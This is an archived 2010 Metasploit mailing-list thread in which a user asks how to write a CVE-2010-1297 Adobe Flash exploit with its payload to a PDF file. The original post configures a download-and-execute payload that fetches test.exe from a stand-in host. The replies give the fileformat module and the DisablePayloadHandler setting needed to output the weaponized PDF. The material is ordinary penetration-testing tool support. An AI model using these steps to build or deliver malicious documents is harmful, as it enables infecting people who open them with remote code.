Re: How to save exploit+payload to file?

[c0lists <lists () carnal0wnage com>]

msf exploit(adobe_flashplayer_newfunction) > show advanced

Module advanced options:

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information

   Name           : DisablePayloadHandler
   Current Setting: false
   Description    : Disable the handler code for the selected payload

   Name           : EnableContextEncoding
   Current Setting: false
   Description    : Use transient context when encoding payloads

   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

   Name           : WfsDelay
   Current Setting: 0
   Description    : Additional delay when waiting for a session


msf exploit(adobe_flashplayer_newfunction) > set DisablePayloadHandler TRUE
DisablePayloadHandler => TRUE


2010/6/17  <polychrom () fastmail fm>:
> exploit/windows/fileformat/adobe_flashplayer_newfunction   --> this
> works. Thank you.
>
> DisablePayloadHandler to TRUE --> in which place set this flag? (in
> addition to above suggested solution?)
>
> =================
>
> On Thu, 17 Jun 2010 12:15 -0400, "c0lists" <lists () carnal0wnage com>
> wrote:
> > might need to do the set DisablePayloadHandler to TRUE as well. that
> > should just output the pdf.
> >
> > -CG
> >
> > On Thu, Jun 17, 2010 at 11:05 AM,  <egypt () metasploit com> wrote:
> > > Use exploit/windows/fileformat/adobe_flashplayer_newfunction instead
> > > of .../browser/...
> > >
> > > Hope this helped,
> > > egypt
> > >
> > > On Thu, Jun 17, 2010 at 7:32 AM,  <polychrom () fastmail fm> wrote:
> > > > Have read manual, but didn't find one thing, how to save exploit with
> > > > payload to PDF file? Perhaps I missing something.
> > > > Example: CVE10-1297
> > > >
> > > > msf > use exploit/windows/browser/adobe_flashplayer_newfunction
> > > > msf > exploit(adobe_flashplayer_newfunction) > set PAYLOAD
> > > > windows/download_exec
> > > > PAYLOAD => windows/download_exec
> > > > msf > exploit(adobe_flashplayer_newfunction) > set URL
> > > > http://domain.com/test.exe
> > > > URL => http://domain.com/test.exe
> > > >
> > > > -> next, how to save resulting PDF to file?
> > > >
> > > > There is generate [options] command, but generates not to PDF file, it
> > > > prints output on screen in ruby, perl, c, or raw. And only payload
> > > > itself, with no connection with specific exploit. Anybody know how to
> > > > achieve this?
> > > >
> > > > Thanks.
> > > >
> > > >
> > > > --
> > > > http://www.fastmail.fm - Does exactly what it says on the tin
> > > >
> > > > _______________________________________________
> > > > https://mail.metasploit.com/mailman/listinfo/framework
> > > _______________________________________________
> > > https://mail.metasploit.com/mailman/listinfo/framework
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
>
> --
> http://www.fastmail.fm - Faster than the air-speed velocity of an
>                          unladen european swallow
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework